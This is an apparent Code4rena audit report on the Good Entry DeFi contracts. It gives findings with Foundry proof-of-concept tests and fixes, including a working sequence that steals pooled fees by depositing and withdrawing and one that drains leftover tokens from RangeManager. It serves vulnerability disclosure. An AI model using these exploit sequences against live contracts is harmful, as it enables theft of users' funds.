Platform: Code4rena
Start Date: 01/08/2023
Pot Size: $91,500 USDC
Total HM: 14
Participants: 80
Period: 6 days
Judge: gzeon
Total Solo HM: 6
Id: 269
League: ETH
Rank: 1/80
Findings: 7
Award: $13,341.69
🌟 Selected for report: 4
🚀 Solo Findings: 2
🌟 Selected for report: 3docSec
8261.6151 USDC - $8,261.62
https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/TokenisableRange.sol#L190 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/TokenisableRange.sol#L268
The TokenisableRange
is designed to always collect trading fees from the Uniswap V3 pool, whenever there is a liquidity event (deposit
or withdraw
). These fees may be reinvested in the pool, or may be held in form of fee0
and fee1
ERC-20 balance held by the TokenisableRange contract.
When a user deposits liquidity in the range, they pay asset tokens, and receive back liquidity tokens, which give them a share of the TokenisableRange assets (liquidity locked in Unisvap V3, plus fee0, and fee1).
To prevent users from stealing fees, there are several mechanisms in place:
Both of these mechanisms can however be worked around:
fee0
and fee1
amounts compared to the theoretical pool amounts, and not on the total value of the fees as compared to the total value locked in the pool. This means that when the price changes significantly from when fees were accumulated, the combined value of the fees can exceed, potentially by much, the 1% intended cap, without the reinvestment happening before liquidity events. A malicious user can then monitor and act in such market conditions.Given a TokenisableRange contract in the right state (high value locked in fees, but still no reinvestment happening) a user can maliciously craft a deposit
and withdraw
sequence (why not, with flash-loaned assets) to steal most of the fees (fee0
, fee1
) held by the pool before distribution.
Below is a working PoC that shows under real market conditions how most of the fees (>3% of the pool assets) can be s stolen risk-free by simply depositing and withdrawing a large quantity of liquidity:
function testStolenFeesPoc() public { vm.createSelectFork( "mainnet", 17811921 ); vm.prank(tokenWhale); USDC.transfer(alice, 100_000e6); vm.startPrank(alice); TokenisableRange tr = new TokenisableRange(); // out of range: WETH is more valuable than that (about 1870 USDC on this block 17811921); // the pool will hold 0 WETH tr.initProxy(AaveOracle, USDC, WETH, 500e10, 1000e10, "Test1", "T1", false); USDC.approve(address(tr), 100_000e6); tr.init(100_000e6, 0); // time passes, and the pool trades in range, accumulating fees uint256 fee0 = 1_000e6; uint256 fee1 = 2e18; vm.mockCall(address(UniswapV3UsdcNFPositionManager), abi.encodeWithSelector(INonfungiblePositionManager.collect.selector), abi.encode(fee0, fee1)); vm.stopPrank(); vm.startPrank(tokenWhale); USDC.transfer(address(tr), fee0); WETH.transfer(address(tr), fee1); // now the price is back to 1870 USDC, // the undistributed fees are 1k USDC and 2 WETH, // in total about $5k or 5% of the pool value // (the percentage can be higher with bigger price swings) // but still, they are not reinvested tr.claimFee(); vm.clearMockedCalls(); require(tr.fee0() != 0); require(tr.fee1() != 0); // an attacker now can flashloan & deposit an amount that will give them // the majority of the pool liquidity, then withdraw for a profit uint256 usdcBalanceBefore = USDC.balanceOf(tokenWhale); uint256 wethBalanceBefore = WETH.balanceOf(tokenWhale); uint256 poolSharesBefore = tr.balanceOf(tokenWhale); USDC.approve(address(tr), 10_000_000e6); // this is the hack: we add just a tiny little bit of WETH so TokenisableRange doesn't // count the value locked in fees in assigning the LP tokens WETH.approve(address(tr), 1000); uint256 deposited = tr.deposit(10_000_000e6, 1000); tr.withdraw(deposited, 0, 0); // the profit here is // 1 wei of USDC lost, probably to rounding console2.log(int(USDC.balanceOf(tokenWhale)) - int(usdcBalanceBefore)); // 1.58 WETH of profit, which is most of the fees, // and definitely more than 1% of the pool. Yay! console2.log(int(WETH.balanceOf(tokenWhale)) - int(wethBalanceBefore)); require(poolSharesBefore == tr.balanceOf(tokenWhale)); }
It is important to note that since the WETH oracle price at the forked block (17811921) is at 1870, above the 500-1000 range, the above PoC works only after fixing my other finding titled:
Incorrect Solidity version in FullMath.sol can cause permanent freezing of assets for arithmetic underflow-induced revert
Code review
// Stack too deep, so localising some variables for feeLiquidity calculations - // If we already clawed back fees earlier, do nothing, else we need to adjust returned liquidity - if ( newFee0 == 0 && newFee1 == 0 ){ + { uint256 TOKEN0_PRICE = ORACLE.getAssetPrice(address(TOKEN0.token)); uint256 TOKEN1_PRICE = ORACLE.getAssetPrice(address(TOKEN1.token)); require (TOKEN0_PRICE > 0 && TOKEN1_PRICE > 0, "Invalid Oracle Price"); // Calculate the equivalent liquidity amount of the non-yet compounded fees // Assume linearity for liquidity in same tick range; calculate feeLiquidity equivalent and consider it part of base liquidity feeLiquidity = newLiquidity * ( (fee0 * TOKEN0_PRICE / 10 ** TOKEN0.decimals) + (fee1 * TOKEN1_PRICE / 10 ** TOKEN1.decimals) ) / ( (added0 * TOKEN0_PRICE / 10 ** TOKEN0.decimals) + (added1 * TOKEN1_PRICE / 10 ** TOKEN1.decimals) ); }
Math
#0 - c4-sponsor
2023-08-15T03:18:56Z
Keref marked the issue as sponsor confirmed
#1 - Keref
2023-08-18T02:40:32Z
See PR#4
#2 - c4-judge
2023-08-19T17:22:44Z
gzeon-c4 marked the issue as selected for report
813.0669 USDC - $813.07
The V3Proxy
swapTokensForExactETH
function swaps an unspecified amount of a given ERC-20 for a specified amount of the native currency. After the swap happens, however, the difference between the amount taken from the caller (amountInMax
) and the actual swapped amount (amounts[0]
) is not given back to the caller and remains locked in the contract.
Any user of the swapTokensForExactETH
will always pay amountInMax
for swaps even if part of it was not used for the swap. This part is lost, locked in the V3Proxy
contract.
swapTokensForExactETH
with an excessively high amountInMax
function testV3ProxyKeepsTheChange() public { IQuoter q = IQuoter(0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6); ISwapRouter r = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564); V3Proxy v3proxy = new V3Proxy(r, q, 500); vm.label(address(v3proxy), "V3Proxy"); address[] memory path = new address[](2); path[0] = address(USDC); path[1] = address(WETH); address[] memory path2 = new address[](2); path2[0] = address(WETH); path2[1] = address(USDC); // fund Alice vm.prank(tokenWhale); USDC.transfer(alice, 1870e6); // Alice initiates a swap uint256[] memory amounts; uint256 balanceUsdcBefore = USDC.balanceOf(alice); uint256 balanceBefore = alice.balance; vm.startPrank(alice); USDC.approve(address(v3proxy), 1870e6); amounts = v3proxy.swapTokensForExactETH(1e18, 1870e6, path, alice, block.timestamp); // we check if the swap was done well require(amounts[0] < 1870e6); require(amounts[1] == 1e18); require(alice.balance == balanceBefore + amounts[1]); // the following check fails, but would pass if swapTokensForExactETH // sent back the excess tokens require(USDC.balanceOf(alice) == balanceUsdcBefore - amounts[0], "Unused input tokens were not sent back!"); }
Code review
Send back the excess tokens:
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) payable external returns (uint[] memory amounts) { require(path.length == 2, "Direct swap only"); require(path[1] == ROUTER.WETH9(), "Invalid path"); ERC20 ogInAsset = ERC20(path[0]); ogInAsset.safeTransferFrom(msg.sender, address(this), amountInMax); ogInAsset.safeApprove(address(ROUTER), amountInMax); amounts = new uint[](2); amounts[0] = ROUTER.exactOutputSingle(ISwapRouter.ExactOutputSingleParams(path[0], path[1], feeTier, address(this), deadline, amountOut, amountInMax, 0)); amounts[1] = amountOut; ogInAsset.safeApprove(address(ROUTER), 0); IWETH9 weth = IWETH9(ROUTER.WETH9()); acceptPayable = true; weth.withdraw(amountOut); acceptPayable = false; payable(msg.sender).call{value: amountOut}(""); + ogInAsset.safeTransfer(msg.sender, amountInMax - amounts[0]); emit Swap(msg.sender, path[0], path[1], amounts[0], amounts[1]); }
ERC20
#0 - c4-pre-sort
2023-08-09T02:40:24Z
141345 marked the issue as low quality report
#1 - c4-pre-sort
2023-08-09T05:57:16Z
141345 marked the issue as remove high or low quality report
#2 - c4-pre-sort
2023-08-09T06:02:11Z
141345 marked the issue as remove high or low quality report
#3 - c4-pre-sort
2023-08-09T08:16:38Z
141345 marked the issue as primary issue
#4 - c4-sponsor
2023-08-15T03:11:00Z
Keref marked the issue as sponsor confirmed
#5 - Keref
2023-08-18T02:13:23Z
See PR#2
#6 - c4-judge
2023-08-19T17:23:59Z
gzeon-c4 marked the issue as selected for report
627.223 USDC - $627.22
https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/TokenisableRange.sol#L227 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/TokenisableRange.sol#L227 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/TokenisableRange.sol#L240 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/TokenisableRange.sol#L187 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/TokenisableRange.sol#L338 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/lib/FullMath.sol#L2
TokenisableRange
makes use of the LiquidityAmounts.getAmountsForLiquidity
helper function in its returnExpectedBalanceWithoutFees
, getTokenAmountsExcludingFees
and deposit
functions to convert UniswapV3 pool liquidity into estimated underlying token amounts.
This function getAmountsForLiquidity
will trigger an arithmetic underflow whenever sqrtRatioX96
is smaller than sqrtRatioAX96
, causing these functions to revert until this ratio comes back in range and the math no longer overflows.
Such oracle price conditions are not only possible but also likely to happen in real market conditions, and they can be permanent (i.e. one asset permanently appreciating over the other one).
Moving up the stack, assuming that LiquidityAmounts.getAmountsForLiquidity
can revert (which is shown in the below PoC with real-world conditions), both the returnExpectedBalanceWithoutFees
and getTokenAmountsExcludingFees
functions can revert. In particular, the former is called by the claimFee()
function, which is always called when depositing and withdrawing liquidity.
The root cause of this issue is that the FullMath.sol library, imported from UniswapV3 was altered to build with solidity v0.8.x, which has under/overflow protection; the library, however, makes use of these by design, so it won't work properly when compiled in v0.8.0 or later:
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath {
When the fair exchange price of the pool backing the TokenisableRange's falls outside the range (higher side), the deposit
and withdraw
will always revert, locking the underlying assets in the pool until the price swings to a different value that does not trigger an under/overflow. If the oracle price stays within this range indefinitely, the funds are permanently locked.
I'll prove that permanent freezing can happen in two steps:
The most simple way to prove the first point is by calling LiquidityAmounts.getAmountsForLiquidity
in isolation with real-world values:
function testGetAmountsForLiquidityRevert() public { // real-world value: it's in fact the value returned by // V3_FACTORY.getPool(USDC, WETH, 500).slot0(); // at block 17811921; it is around 1870 USDC per WETH uint160 sqrtRatioX96 = 1834502451234584391374419429242405; // start price and end corresponding to 1700 to 1800 USDC per WETH uint160 sqrtRatioAX96 = 1866972058592130739290643700340936; uint160 sqrtRatioBX96 = 1921904167735311150677430952623492; vm.expectRevert(); LiquidityAmounts.getAmountsForLiquidity(sqrtRatioX96, sqrtRatioAX96, sqrtRatioBX96, 1e18); }
However, a more integrated test that involves PositionManager can also be considered:
function testPocReturnExpectedBalanceUnderflow() public { vm.createSelectFork( "mainnet", 17811921 ); vm.startPrank(tokenWhale); TokenisableRange tr = new TokenisableRange(); tr.initProxy(AaveOracle, USDC, WETH, 1700e10, 1800e10, "Test1", "T1", false); USDC.approve(address(tr), 100_000e6); tr.init(100_000e6, 0); vm.expectRevert(); tr.returnExpectedBalance(0, 0); }
Then, we can prove the second point with a negative fuzz test:
function testFailPermanentFreeze(uint160 sqrtRatioX96) public { // start & and price, corresponding to 1700 to 1800 USDC per WETH uint160 sqrtRatioAX96 = 1866972058592130739290643700340936; uint160 sqrtRatioBX96 = 1921904167735311150677430952623492; // make sure that the market ratio is lower than the lower ticker // that is the range where I first observed the underflow // (WETH above 1800 USDC) sqrtRatioX96 = sqrtRatioX96 % (sqrtRatioAX96 - 1); // expect a revert here LiquidityAmounts.getAmountsForLiquidity(sqrtRatioX96, sqrtRatioAX96, sqrtRatioBX96, 1e18); }
IDE, Foundry
Restore the original FullMath.sol library so it compiles with solc versions earlier than 0.8.0.
// SPDX-License-Identifier: GPL-3.0 - pragma solidity ^0.8.4; + pragma solidity >=0.4.0 <0.8.0; /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
Another possible option, which is however not recommended, is to enclose the non-assembly statements of FullMath.sol in an unchecked
block.
Under/Overflow
#0 - c4-pre-sort
2023-08-10T05:42:13Z
141345 marked the issue as primary issue
#1 - 141345
2023-08-10T06:09:29Z
different library, but similar issue https://github.com/code-423n4/2023-08-goodentry-findings/issues/498
#2 - 141345
2023-08-10T13:43:14Z
Some of the dups describe similar issue about overflow, but different. With this one fixed, those could not be an issue.
#3 - 141345
2023-08-10T13:43:36Z
#4 - c4-sponsor
2023-08-14T23:47:10Z
Keref marked the issue as sponsor confirmed
#5 - Keref
2023-08-14T23:48:07Z
There's an error with those lib versions, and we will replace with libs from the 0.8 branch
#6 - Keref
2023-08-18T01:53:27Z
Corrected here
#7 - c4-judge
2023-08-19T17:26:37Z
gzeon-c4 marked the issue as satisfactory
#8 - c4-judge
2023-08-19T17:27:09Z
gzeon-c4 marked the issue as selected for report
🌟 Selected for report: josephdara
Also found by: 3docSec
857.937 USDC - $857.94
https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/helper/V3Proxy.sol#L119 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/helper/V3Proxy.sol#L130 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/helper/V3Proxy.sol#L142 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/helper/V3Proxy.sol#L151 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/helper/V3Proxy.sol#L156 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/helper/V3Proxy.sol#L174 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/helper/V3Proxy.sol#L192
V3Proxy.sol
provides an adapter layer between different token-swapping interfaces. Most of the swapping functions offer a to
argument that serves as the beneficiary for the swapped tokens. However, the tokens are always swapped in favor of msg.sender
.
If it's a contract that calls these swap functions, and this contract does not have the necessary methods to rescue ERC-20 and native tokens, the swapped tokens will be permanently locked in the caller contract.
The following contract shows a worst-case scenario happening from the non-honored contract of using "to" as recipient:
contract LockingContract { V3Proxy immutable v3Proxy; ERC20 WETH = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); ERC20 USDC = ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); constructor (address _v3Proxy) { v3Proxy = V3Proxy(_v3Proxy); } function swapTokens() external { address[] memory path = new address[](2); address[0] = address(USDC); address[1] = address(WETH); v3Proxy.swapExactTokensForTokens(1000e6, 0.5e18, path, msg.sender, block.timestamp); } }
Code review
Either:
to != msg.sender
orto
as beneficiary instead of msg.sender
Uniswap
#0 - c4-pre-sort
2023-08-09T02:45:25Z
141345 marked the issue as low quality report
#1 - c4-pre-sort
2023-08-10T05:29:07Z
141345 marked the issue as remove high or low quality report
#2 - c4-pre-sort
2023-08-10T05:30:27Z
141345 marked the issue as duplicate of #463
#3 - c4-judge
2023-08-20T17:27:34Z
gzeon-c4 marked the issue as satisfactory
#4 - c4-judge
2023-08-20T17:29:19Z
gzeon-c4 changed the severity to 2 (Med Risk)
🌟 Selected for report: 3docSec
2478.4845 USDC - $2,478.48
https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/GeVault.sol#L431 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/GeVault.sol#L357-L358
GeVault
stores the TokenisableRange
instances it operates on in an ordered array:
TokenisableRange[] public ticks;
Whenever a rebalancing happens, the GeVault
contract withdraws all its liquidity and redeploys it on at most four ticks, starting from (and including) the one identified by the getActiveTickIndex
function:
function deployAssets() internal { uint newTickIndex = getActiveTickIndex(); // [...] uint tick0Index = newTickIndex; uint tick1Index = newTickIndex + 2; // [...] depositAndStash(ticks[tick0Index], availToken0 / 2, 0); depositAndStash(ticks[tick0Index+1], availToken0 / 2, 0); // [...] depositAndStash(ticks[tick1Index], 0, availToken1 / 2); depositAndStash(ticks[tick1Index+1], 0, availToken1 / 2);
However, the getActiveTickIndex()
, given that the termination condition of its for
loop, can return indices up to ticks.length - 3
, included (because the increment of activeTickIndex
that made the boundary check fail is kept):
/// @notice Return first valid tick function getActiveTickIndex() public view returns (uint activeTickIndex) { if (ticks.length >= 5){ // looking for index at which the underlying asset differs from the next tick for (activeTickIndex = 0; activeTickIndex < ticks.length - 3; activeTickIndex++){ // [...] if ( /* ... */ ) break; } } }
So the highest value it can possibly return is ticks.length - 3
. If we take this value and project where rebalance()
will deploy assets, we'll have the ticks at the four indices: [ticks.length - 3, ticks.length - 2, ticks.length - 1, ticks.length]
, and the last value will overflow, causing the rebalancing, and the liquidity operation that triggered it (if any) to fail.
Whenever the market is such that the getActiveTickIndex
returns the last possible index, the contract will revert on any rebalance
, deposit
, and more importantly withdraw
operations. Despite the impact including locking assets, this finding is reported as medium severity because the protocol governance could resolve the situation by adding extra ticks & rescue the assets without requiring a contract code upgrade.
I have a running PoC in my environment, which I will keep aside and will be happy to provide if requested, but I would rather not share it because it's a monstrous setup with a couple of workarounds to not make it even worse.
High level my setup is:
getActiveTickIndex()
which will return 3
(higher than 2, which is the max value that would not make the fund deployment go out of range)Code review, IDE, foundry
Decrease by 1 the loop boundaries:
/// @notice Return first valid tick function getActiveTickIndex() public view returns (uint activeTickIndex) { if (ticks.length >= 5){ // looking for index at which the underlying asset differs from the next tick - for (activeTickIndex = 0; activeTickIndex < ticks.length - 3; activeTickIndex++){ + for (activeTickIndex = 0; activeTickIndex < ticks.length - 4; activeTickIndex++){ (uint amt0, uint amt1) = ticks[activeTickIndex+1].getTokenAmountsExcludingFees(1e18); (uint amt0n, uint amt1n) = ticks[activeTickIndex+2].getTokenAmountsExcludingFees(1e18); if ( (amt0 == 0 && amt0n > 0) || (amt1 == 0 && amt1n > 0) ) break; } } }
Or use a dedicated loop variable, and explicitly return the correct value.
Loop
#0 - c4-sponsor
2023-08-15T07:04:08Z
Keref marked the issue as sponsor disputed
#1 - Keref
2023-08-15T07:05:02Z
getActiveTickIndex
goal is to return a valid index if it exists, independently of whether the rest of the tx will succeed or fail bc there arent enough ticks
#2 - c4-judge
2023-08-20T14:03:57Z
gzeon-c4 marked the issue as unsatisfactory: Invalid
#3 - peppelan
2023-08-21T20:16:53Z
Hi,
the sponsor's comment confirms that getActiveTickIndex
returns an index that may not have enough ticks after it, which is the root cause of this finding.
Therefore, I believe both the finding's description and availability impact on GeVault's rebalance
, deposit
, and withdraw
remain valid, so I would ask to kindly reconsider the invalidation of this finding.
For the sake of accurate reporting and in accordance with sponsor's intention that was now made clear, I would recommend a different mitigation than what was initially reported - protecting the GeVault.deployAssets()
code that uses the active tick index from the out-of-bounds error reported in this finding:
if (availToken0 > 0){ depositAndStash(ticks[tick0Index], availToken0 / 2, 0); depositAndStash(ticks[tick0Index+1], availToken0 / 2, 0); } if (availToken1 > 0){ depositAndStash(ticks[tick1Index], 0, availToken1 / 2); + if (tick1Index+1 < ticks.length) depositAndStash(ticks[tick1Index+1], 0, availToken1 / 2); }
#4 - Keref
2023-08-22T01:58:44Z
I guess it indeed makes sense as QA to either just skip depositing in the tick or to revert with an explicit rather than ouf of range error.
#5 - peppelan
2023-08-22T05:14:06Z
Yep, but that would not avoid the following case:
Happy to provide more context if needed
#6 - Keref
2023-08-22T05:41:03Z
Code has been changed (substantially) to avoid those errors. See PR#11
#7 - c4-sponsor
2023-08-23T03:03:49Z
Keref marked the issue as sponsor acknowledged
#8 - c4-judge
2023-08-23T07:28:03Z
gzeon-c4 marked the issue as satisfactory
#9 - c4-judge
2023-08-23T07:28:21Z
gzeon-c4 marked the issue as selected for report
#10 - gzeon-c4
2023-08-23T07:29:39Z
Looks valid, I missed the fact that this would prevent withdrawal in the original judging.
🌟 Selected for report: said
Also found by: 3docSec, HChang26, Jeiwan, SpicyMeatball, giovannidisiena, jesusrod15, oakcobalt, pep7siup
91.1886 USDC - $91.19
https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/RangeManager.sol#L100 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/TokenisableRange.sol#L159
When RangeManager
initializes a TokenisableRange
, it provides it with the asset tokens required to initiate a position on UniswapV3. Due to slippage, however, some asset tokens may be left unused, and TokenisableRange
correctly sends them back to the init
caller. However, when the init
caller is RangeManager
, these tokens are not forwarded back to the RangeManager
caller, and remain stuck in the contract.
At this point, RangeManager
holds a balance in tokens, and these can be stolen by anybody i.e. by calling removeFromStep
that will deposit these assets on the lending pool at the caller's name, ready for withdrawal.
The following PoC shows how alice
can steal the leftover USDC from operator
:
function testPocInitPoolCrumbs() public { vm.startPrank(operator); uint128 startX10 = 700 * 1e10; uint128 endX10 = 5100 * 1e10; rangeManager.generateRange(startX10, endX10, "Below", "Above", address(rangeBeacon)); range = rangeManager.tokenisedRanges(0); ticker = rangeManager.tokenisedTicker(0); vm.label(address(range), "range"); vm.label(address(ticker), "ticker"); USDC.approve(address(rangeManager), type(uint256).max); WETH.approve(address(rangeManager), type(uint256).max); rangeManager.initRange(address(range), 1850e6, 1e18); vm.stopPrank(); require(0 != USDC.balanceOf(address(rangeManager))); vm.prank(alice); rangeManager.removeAssetsFromStep(0); require(0 == USDC.balanceOf(address(rangeManager))); }
Code review
Transfer back the assets after the TokenisableRange
is initialized:
/// @notice Initialize a previously created ticker /// @param tr Range address /// @param amount0 Amount of token0 /// @param amount1 Amount of token1 function initRange(address tr, uint amount0, uint amount1) external onlyOwner { ASSET_0.safeTransferFrom(msg.sender, address(this), amount0); ASSET_0.safeIncreaseAllowance(tr, amount0); ASSET_1.safeTransferFrom(msg.sender, address(this), amount1); ASSET_1.safeIncreaseAllowance(tr, amount1); TokenisableRange(tr).init(amount0, amount1); ERC20(tr).safeTransfer(msg.sender, TokenisableRange(tr).balanceOf(address(this))); + ASSET_0.safeTransfer(msg.sender, ASSET_0.balanceOf(address(this))); + ASSET_1.safeTransfer(msg.sender, ASSET_1.balanceOf(address(this))); }
ERC20
#0 - c4-pre-sort
2023-08-09T07:50:43Z
141345 marked the issue as duplicate of #390
#1 - c4-pre-sort
2023-08-10T13:26:55Z
141345 marked the issue as duplicate of #254
#2 - c4-judge
2023-08-19T16:46:35Z
gzeon-c4 changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-08-20T17:36:58Z
gzeon-c4 marked the issue as satisfactory
🌟 Selected for report: Team_FliBit
Also found by: 0x70C9, 3docSec, 8olidity, DavidGiladi, Krace, LokiThe5th, Rolezn, Sathish9098, UniversalCrypto, banpaleo5, catellatech, digitizeworx, fatherOfBlocks, hpsb, j4ld1na, josephdara, kutugu, niser93, nonseodion, oakcobalt, osmanozdemir1, pep7siup, ravikiranweb3, said, sivanesh_808
212.1661 USDC - $212.17
The function PositionManager.checkSetAllowance
increases the current allowance of a given address by type(uint256).max
. When this allowance is non-zero at the time of the call, the increase will cause an overflow because the max uint256 is added to the pre-approved allowance. Consider using safeApprove
instead, because this does not operate a sum that can overflow.
In RangeManager.removeFromStep the code assumes that both TokenisedRanges are initialized and added to the lending pool. This may not be true as for certain ranges, only the range or the ticker may be interesting, so it may be worth adding a check on whether LENDING_POOL.getReserveData(address(tokenisedRanges[step])).aTokenAddress == address(0)
and LENDING_POOL.getReserveData(address(tokenisedTicker[step])).aTokenAddress == address(0)
safeTransferFrom
instead of transferFrom
Using safeTransferFrom
in TokenisableRange's deposit function (similarly to how it's done in other parts of the codebase) ensures the call does not when dealing with non-standard tokens:
function deposit(uint256 n0, uint256 n1) external nonReentrant returns (uint256 lpAmt) { // Once all assets were withdrawn after initialisation, this is considered closed // Prevents TR oracle values from being too manipulatable by emptying the range and redepositing require(totalSupply() > 0, "TR Closed"); claimFee(); - TOKEN0.token.transferFrom(msg.sender, address(this), n0); - TOKEN1.token.transferFrom(msg.sender, address(this), n1); + TOKEN0.token.safeTransferFrom(msg.sender, address(this), n0); + TOKEN1.token.safeTransferFrom(msg.sender, address(this), n1); uint newFee0; uint newFee1;
asset0
and asset1
Consider adding a check for these to not equal address(0)
.
The contract RangeManager allows for TokenisableRange instances that overlap at the lower/higher tick:
for (uint i = 0; i < len; i++) { if (start >= stepList[i].end || end <= stepList[i].start) { continue; } revert("Range overlap"); }
however, GeVault does not allow for exact overlaps at the boundaries:
if (baseTokenIsToken0) require( t.lowerTick() > ticks[ticks.length-1].upperTick(), "GEV: Push Tick Overlap"); else require( t.upperTick() < ticks[ticks.length-1].lowerTick(), "GEV: Push Tick Overlap"); // [...] if (!baseTokenIsToken0) require( t.lowerTick() > ticks[0].upperTick(), "GEV: Shift Tick Overlap"); else require( t.upperTick() < ticks[0].lowerTick(), "GEV: Shift Tick Overlap");
It is recommended to double-check whether either constitutes an off-by-one error.
The modifyTick function is inconsistent with the other GeVault's functions. While both pushTick and shiftTick maintain ordering and non-overlap consistency of the ticks
array, modifyTick
doesn't. This can cause the deployAssets
function to malfunction since this function assumes the correct ordering of the ticks.
It's a best practice to match the contract name with the Solidity file name. Consider renaming either the file or the contract.
Consider adding licensing info to FixedOracle.sol.
The returnExpectedBalance
documentation in comment mentions the balance excludes fees, which are in fact included:
- /// @notice Calculate the balance of underlying assets based on the assets price, excluding fees + /// @notice Calculate the balance of underlying assets based on the assets price, including fees function returnExpectedBalance(uint TOKEN0_PRICE, uint TOKEN1_PRICE) public view returns (uint256 amt0, uint256 amt1) { (amt0, amt1) = returnExpectedBalanceWithoutFees(TOKEN0_PRICE, TOKEN1_PRICE); amt0 += fee0; amt1 += fee1; }
V3Proxy does not seem to use the nonReentrant
modifier, so it does not need to inherit from the NonReentrant
contract
for
loop in OptionsPositionManager.liquidate
can be removedWhen OptionsPositionManager prepares its call to the LP to liquidate a position, it fills an array with zeros via a for
loop. This is an unnecessary step because the values are already zero at initialization.
#0 - c4-judge
2023-08-20T16:38:34Z
gzeon-c4 marked the issue as grade-b
#1 - c4-judge
2023-08-20T16:44:52Z
gzeon-c4 marked the issue as grade-a
#2 - Keref
2023-08-21T03:08:51Z
Various changes made for QA, including PR#9 The inconsistency with Gevault and RM doesn't matter because Gevault hold ticks not ranges, the former supposed to be quite wide apart
#3 - c4-sponsor
2023-08-23T14:48:10Z
Keref marked the issue as sponsor confirmed